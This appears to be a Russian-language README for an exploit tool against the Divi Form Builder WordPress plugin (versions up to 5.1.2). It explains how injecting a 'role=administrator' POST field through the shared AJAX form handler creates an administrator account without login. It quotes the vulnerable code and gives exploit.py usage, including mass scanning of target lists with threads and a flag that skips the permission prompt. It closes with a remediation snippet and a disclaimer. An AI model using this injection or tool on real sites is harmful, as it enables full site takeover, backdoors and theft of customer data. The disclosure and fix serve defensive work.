
Divi Form Builder <= 5.1.2 — Неаутентифицированное повышение привилегий через инъекцию ролей
🔥 Краткое описание уязвимости
Плагин WordPress Divi Form Builder версий <= 5.1.2 уязвим к неавторизованному повышению привилегий. Эта критическая ошибка позволяет неавторизованным злоумышленникам создавать новую учетную запись Администратора напрямую через любую форму Divi Form Builder — включая контактные формы, формы заявок, формы подписки на новости или любую другую форму, поддерживаемую DFB.
Уязвимость возникает из-за функции create_user() в файле FormSubmissionHandler.php, которая принимает параметр role напрямую из отправленных пользователем POST-данных без надлежащей авторизации или проверки по белому списку. Плагин проверяет только, существует ли переданная роль в системе (например, administrator — допустимая роль WordPress) — но никогда не проверяет, безопасна ли роль для публичной регистрации.
Прорывное открытие: fb_nonce, используемый Divi Form Builder, является глобальным общим nonce (wp_create_nonce('security')) — одинаковым для всех форм на сайте. Более того, form_type=register может быть переопределен через POST к общему AJAX-обработчику. Это означает, что любая форма DFB (контактная, заявки, обратной связи и т.д.) может быть использована для запуска регистрации пользователя с произвольным назначением роли.
🔍 Затронутый плагин
🧨 Что могут сделать злоумышленники
🧪 Возможности эксплойта
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator вместе с обычными полями формыresult.txt🧠 Уязвимый код
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Использование
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Создайте targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Рекомендации по исправлению
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role из форм на стороне фронтенда полностьюcurrent_user_can('create_users') для привилегированных ролей🧠 Исследователь
📚 Ссылки
🔒 Отказ от ответственности:
Эта информация предоставляется только в образовательных целях и для авторизованного тестирования на проникновение. Несанкционированная эксплуатация компьютерных систем является незаконной и неэтичной. Всегда получайте явное письменное разрешение перед тестированием любой цели, которая вам не принадлежит.
| Возможность | Влияние |
|---|
| 🔑 Создание учетной записи администратора без входа | Полный захват сайта |
| 📦 Доступ к данным клиентов WooCommerce | Утечка данных |
| 💉 Редактирование PHP-файлов плагинов/тем | Удаленное выполнение кода |
| 🕳️ Установка скрытых бэкдоров | Постоянный доступ |
| 👥 Просмотр всех данных пользователей | Нарушение конфиденциальности |
| Флаг | Описание |
|---|
-t, --target | URL одиночной цели |
-l, --list | Файл со списком целей (по одной на строку, http/https необязательно) |
-T, --threads | Потоки для массового сканирования (по умолчанию: 10) |
-o, --output | Файл вывода для результатов (по умолчанию: result.txt) |
-u, --username | Пользовательское имя для новой учетной записи |
-p, --password | Пользовательский пароль для новой учетной записи |
-e, --email | Пользовательский email для новой учетной записи |
-v, --verbose | Подробный вывод отладки |
--no-confirm | Пропустить подсказку подтверждения разрешения |